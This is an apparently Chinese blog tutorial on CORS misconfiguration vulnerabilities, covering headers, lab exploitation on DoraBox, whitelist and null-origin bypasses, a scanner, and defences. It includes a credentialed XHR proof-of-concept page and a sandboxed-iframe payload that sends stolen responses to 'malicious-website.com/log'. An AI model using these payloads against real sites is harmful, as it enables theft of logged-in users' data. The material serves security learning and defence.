CORS跨域漏洞学习
简介
网站如果存CORS跨域漏洞就会有用户敏感数据被窃取的风险。
跨域资源共享(CORS)是一种浏览器机制,可实现对位于给定域外部的资源的受控访问。它扩展了同源策略(SOP)并增加了灵活性。但是,如果网站的CORS策略配置和实施不当,它也可能带来基于跨域的攻击。CORS并不是针对跨域攻击(例如跨站点请求伪造(CSRF))的保护措施。
同源策略
这里我们必须要了解一下同源策略:同源策略是一种限制性的跨域规范,它限制了网站与源域之外的资源进行交互的能力。起源于多年前的策略是针对潜在的恶意跨域交互(例如,一个网站从另一个网站窃取私人数据)而制定的。通常,它允许一个域向其他域发出请求,但不允许访问响应。源由通信协议,域和端口号组成。
SOP是一个很好的策略,但是随着Web应用的发展,网站由于自身业务的需求,需要实现一些跨域的功能,能够让不同域的页面之间能够相互访问各自页面的内容。
CORS跨域资源共享请求与响应
简单请求
跨域资源共享(CORS)规范规定了在Web服务器和浏览器之间交换的标头内容,该标头内容限制了源域之外的域请求web资源。CORS规范标识了协议头中Access-Control-Allow-Origin最重要的一组。当网站请求跨域资源时,服务器将返回此标头,并由浏览器添加标头Origin。
例如下面的来自站点 http://example.com 的网页应用想要访问 http://bar.com 的资源:
requests
1 GET /resources/public-data/ HTTP/1.1
2 Host: bar.com
3 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-us,en;q=0.5
6 Accept-Encoding: gzip,deflate
7 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
8 Connection: keep-alive
9 Referer: http://example.com/examples/access-control/simpleXSInvocation.html
10 Origin: http://example.com
response
11 HTTP/1.1 200 OK
12 Date: Mon, 01 Dec 2020 00:23:53 GMT
13 Server: Apache/2.0.61
14 Access-Control-Allow-Origin: *
15 Keep-Alive: timeout=2, max=100
16 Connection: Keep-Alive
17 Transfer-Encoding: chunked
18 Content-Type: application/xml
第 1~9 行是请求首部。在第10行的请求头 Origin 表明该请求来源于 http://example.com。
第 11~18 行是来自于 http://bar.com 的服务端响应。响应中携带了响应首部字段 Access-Control-Allow-Origin(第 14 行)。使用 Origin 和 Access-Control-Allow-Origin 就能完成最简单的访问控制。本例中,服务端返回的 Access-Control-Allow-Origin: * 表明,该资源可以被任意外域访问。如果服务端仅允许来自 http://example.com 的访问,该首部字段的内容如下:
Access-Control-Allow-Origin: http://example.com
如果跨域请求可以包含cookie的话,在服务器响应里应该有这一字段:
Access-Control-Allow-Credentials: true
这样的话攻击者就可以利用这个漏洞来窃取已经在这个网站上登录了的用户的信息(利用cookie)
漏洞利用
这里以droabox靶场为例
这个接口会返回已登录的用户的信息数据,通过访问该网页的响应我们看到这里可能存在CORS跨域资源共享漏洞
接下来我们就可以建立一个恶意的js代码
<!-- cors.html -->
<!DOCTYPE html>
<html>
<head>
<title>cors exp</title>
</head>
<body>
<script type="text/javascript">
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "http://192.168.0.101/DoraBox/csrf/userinfo.php");
xhttp.withCredentials = true;
xhttp.send();
}
cors();
</script>
</body>
</html>
访问这个页面就可以获取已登录的用户的信息
该恶意代码首先定义一个函数cors,以get形式访问目标网址,创建XMLHttpRequest对象为xhttp,通过ajax的onreadystatechange判断请求状态,如果请求已完成,且相应已就绪,则弹出返回文本。
漏洞利用技巧
在之前我们了解了一些关于CORS跨域资源共享通信的一些字段含义,
CORS的漏洞主要看当我们发起的请求中带有Origin头部字段时,服务器的返回包带有CORS的相关字段并且允许Origin的域访问。
一般测试WEB漏洞都会用上BurpSuite,而BurpSuite可以实现帮助我们检测这个漏洞。
首先是自动在HTTP请求包中加上Origin的头部字段,打开BurpSuite,选择Proxy模块中的Options选项,找到Match and Replace这一栏,勾选Request header 将空替换为Origin:example.com的Enable框。
当我们进行测试时,看服务器响应头字段里可以关注这几个点:
最好利用的配置:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
可能存在可利用的配置:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
很好的条件但无法利用:
下面这组配置组合虽然看起来很完美但是CORS机制已经默认自动禁止了这种组合,算是CORS的最后一道防线
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
单一的情况
Access-Control-Allow-Origin:*
总结漏洞的原因:
1:CORS服务端的 Access-Control-Allow-Origin 设置为了 *,并且 Access-Control-Allow-Credentials 设置为false,这样任何网站都可以获取该服务端的任何数据了。
2:有一些网站的Access-Control-Allow-Origin他的设置并不是固定的,而是根据用户跨域请求数据的Origin来定的。这时,不管Access-Control-Allow-Credentials 设置为了 true 还是 false。任何网站都可以发起请求,并读取对这些请求的响应。意思就是任何一个网站都可以发送跨域请求来获得CORS服务端上的数据。
其他可能利用漏洞的地方
解析Origin头时出错
一些支持从多个来源进行访问的应用程序通过使用允许的来源白名单来实现。收到CORS请求后,会将提供的来源与白名单进行比较。如果来源出现在白名单中,那么它会反映在Access-Control-Allow-Origin标题中,以便授予访问权限。例如,web应用收到一个正常的请求:
GET /data HTTP/1.1
Host: bar.com
...
Origin: https://example.com
web应用根据其允许的来源列表检查当前请求资源的来源,如果在列表中,则按以下方式反映该来源:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
但在检测来源是否存在于白名单时经常可能出现问题,一些网站可能会允许其所有的子域(包括尚未存在未来可能存在的子域)来进行访问,或者允许其他网站的域以及其子域来访问请求。这些请求一般都通过通配符或者正则表达式来完成,但是如果这其中出现错误可能就会导致给予其他未被授权的域访问权限。例如:
例如,假设一个应用程序授予对以下列结尾的所有域的访问权限:
examplecom
攻击者可能可以通过注册域来获得访问权限:
exeexample.com
或者,假设应用程序授予对所有以example.com开头的域访问权限,攻击者就可以使用该域获得访问权限:
example.com.evil-user.net
利用相互受CORS信任的域来进行XSS
假如两个互相受信任的源,如果其中一个网站存在XSS,攻击者就可以利用XSS注入一些JavaScript代码,利用这些代码对信任其源的另一个网站进行敏感信息的获取。
如果进行CORS请求时网站响应:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://vulnerable.com
Access-Control-Allow-Credentials: true
就可以利用XSS漏洞在vulnerable.com网站上使用下面的URL来通过检索API密钥:
https://vulnerable.com/?xss=<script>cors-stuff-here</script>
白名单中的null值
CORS协议的一个重要安全前提是跨域请求中的Origin头不能被伪造,这个前提并不是总是成立。Origin头最早被提出用于防御CSRF攻击,它的语法格式在RFC 6564中被定义。RFC 6564规定,如果请求来自隐私敏感上下文时,Origin头的值应该为null,但是它却没有明确界定什么是隐私敏感上下文。
CORS协议复用了Origin头,但在CORS标准中同样缺乏对跨域请求Origin中null明确的定义和限制。有些开发者在网站上配置信任 null,用于与本地file页面共享数据,如下所示:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
在这种情况下,攻击者可以使用各种技巧来生成跨域请求,该请求构造的Origin为null值。这将满足白名单的要求,从而导致跨域访问。例如,可以使用iframe以下格式的沙盒跨域请求来完成:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
这就意味着任何配置有Access-Control-Allow-Origin: null
和Access-Control-Allow-Credentials:true
的网站等同于没有浏览器SOP的保护,都可以被其他任意域以这种方式读取内容。
CORS漏洞的自动化扫描
github上提供了一个关于扫描CORS配置漏洞的脚本
https://github.com/chenjj/CORScanner
CORScanner是一个python工具,旨在发现网站的CORS错误配置漏洞。它可以帮助网站管理员和渗透测试人员检查他们针对的域/ URL是否具有不安全的CORS策略。
但是这个好像不能扫描特定接口的
预防CORS漏洞
CORS漏洞主要是由于配置错误而引起的。所以,预防漏洞变成了一个配置问题。下面介绍了一些针对CORS攻击的有效防御措施。
- 正确配置跨域请求
如果Web资源包含敏感信息,则应在Access-Control-Allow-Origin标头中正确指定来源。 - 只允许信任的网站
看起来似乎很明显,但是Access-Control-Allow-Origin中指定的来源只能是受信任的站点。特别是,使用通配符来表示允许的跨域请求的来源而不进行验证很容易被利用,应该避免。 - 避免将null列入白名单
避免使用标题Access-Control-Allow-Origin: null。来自内部文档和沙盒请求的跨域资源调用可以指定null来源。应针对私有和公共服务器的可信来源正确定义CORS头。 - 避免在内部网络中使用通配符
避免在内部网络中使用通配符。当内部浏览器可以访问不受信任的外部域时,仅靠信任网络配置来保护内部资源是不够的。 - CORS不能替代服务器端安全策略
CORS定义了浏览器的行为,绝不能替代服务器端对敏感数据的保护-攻击者可以直接从任何可信来源伪造请求。因此,除了正确配置的CORS之外,Web服务器还应继续对敏感数据应用保护,例如身份验证和会话管理。
CORS跨域漏洞学习的更多相关文章
- SpringBoot学习(3)-SpringBoot添加支持CORS跨域访问
SpringBoot学习(3)-SpringBoot添加支持CORS跨域访问 https://blog.csdn.net/yft_android/article/details/80307672
- 跨域漏洞丨JSONP和CORS跨域资源共享
进入正文之前,我们先来解决个小问题,什么是跨域? 跨域:指的是浏览器不能执行其它网站的脚本,它是由浏览器的同源策略造成的,是浏览器的安全限制! 跨域常见的两种方式,分别是JSONP和CORS. 今天i ...
- cors跨域和jsonp劫持漏洞 和 同源策略和跨域请求解决方案
cors跨域和jsonp劫持漏洞: https://www.toutiao.com/a6759064986984645127/ 同源策略和跨域请求解决方案:https://www.jianshu.co ...
- 关于CORS跨域问题的理解
起因 因为这段时间一个项目前后端分别部署在不同服务器的需要,抽空学习了一下CORS问题,不足之处,欢迎指教. 什么是CORS CORS是一个w3c标准,全称是"跨域资源共享"(Cr ...
- JSONP跨域和CORS跨域
什么是跨域? 跨域:指的是浏览器不能执行其它网站的脚本,它是由浏览器的同源策略造成的,是浏览器的安全限制! 同源策略 同源策略:域名.协议.端口均相同. 浏览器执行JavaScript脚本时,会检查这 ...
- 一篇文章搞明白CORS跨域
面试问到数据交互的时候,经常会问跨域如何处理.大部分人都会回答JSONP,然后面试官紧接着就会问:"JSONP缺点是什么啊?"这个时候坑就来了,如果面试者说它支持GET方式,然后面 ...
- 如何在ASP.NET Core中实现CORS跨域
注:下载本文的完整代码示例请访问 > How to enable CORS(Cross-origin resource sharing) in ASP.NET Core 如何在ASP.NET C ...
- ajax——CORS跨域调用REST API 的常见问题以及前后端的设置
RESTful架构是目前比较流行的一种互联网软件架构,在此架构之下的浏览器前端和手机端能共用后端接口. 但是涉及到js跨域调用接口总是很头疼,下边就跟着chrome的报错信息一起来解决一下. 假设:前 ...
- Web APi之手动实现JSONP或安装配置Cors跨域(七)
前言 照理来说本节也应该讲Web API原理,目前已经探讨完了比较底层的Web API消息处理管道以及Web Host寄宿管道,接下来应该要触及控制器.Action方法,以及过滤器.模型绑定等等,想想 ...
随机推荐
- Kubernetes实战 - 从零开始搭建微服务 1 - 使用kind构建一个单层架构Node/Express网络应用程序
使用kind构建一个单层架构Node/Express网络应用程序 Kubernetes实战-从零开始搭建微服务 1 前言 准备写一个Kubernetes实战系列教程,毕竟cnblogs作为国内最早的技 ...
- 案例 (一)如何把python项目部署到linux服务器上
一.背景 用Python写了个脚本,需要部署到Linux环境的服务器上,由于服务器linux系统(centos,redhat等)自带的是python2,现在的python萌新都是从python3开 ...
- win10安装nodejs,修改全局依赖位置和环境变量配置
为什么要修改nodejs全局依赖位置? nodejs全局依赖安装默认位置在C盘,导致C盘文件太大,影响电脑运行速度. 步骤: 安装nodejs(在node官网下载并安装) 查看nodejs版本(在命令 ...
- ie ajax 跨域情况遇到的各种问题
jQuery.support.cors = true; http://blog.csdn.net/jupiter37/article/details/25694289 jQuery ajax跨域调用出 ...
- JavaScript基础技术总结
javascript的作用 HTML网页运行在浏览器端,与用户没有交互功能,用户访问网页的时候只能看,如果网页没有程序员去更新,永远是一成不变的.JavaScript就是可以让程序运行在网页上,提高客 ...
- 201771010128 王玉兰《面象对象程序设计 (Java) 》第六周学习总结
---恢复内容开始--- 第一部分:基础知识总结: 1.继承 A:用已有类来构建新类的一种机制,当定义了一个新类继承一个类时,这个新类就继承了这个类的方法和域以适应新的情况: B:特点:具有层次结构. ...
- OC 面向对象的特性
面向对象的编程语言有封装.继承 .抽象.多态4个主要的特征. 面向对象编程有三大特性:封装.继承.多态. 1. 封装: 封装是保证软件部件具有优良的模块性的基础,封装的目标就是要实现软件部件的“高 ...
- 好用的python性能测试神器–Locust
原文链接:https://mp.weixin.qq.com/s/9PxSPuHmucSLi_welq6uNQ 现在性能测试工具太多,根据业务不同使用,比如说我们熟悉的loadrunner.jmeter ...
- Pyqt5_QWidget
QWidget常用方法: Qwidget.size()#获得客户区的大小 QWidget.width().QWidget.height()#获得客户区的宽度与高度 #设置不可以变宽.高 QWidget ...
- Android数据传递
直接用一个例子说明,简单粗暴: 数据传递会用到此界面标注id值的三个控件 Activity_zc.xm l 当点击“注册”按钮,会显示注册信息 Activity._show.xml 下面展示zcAct ...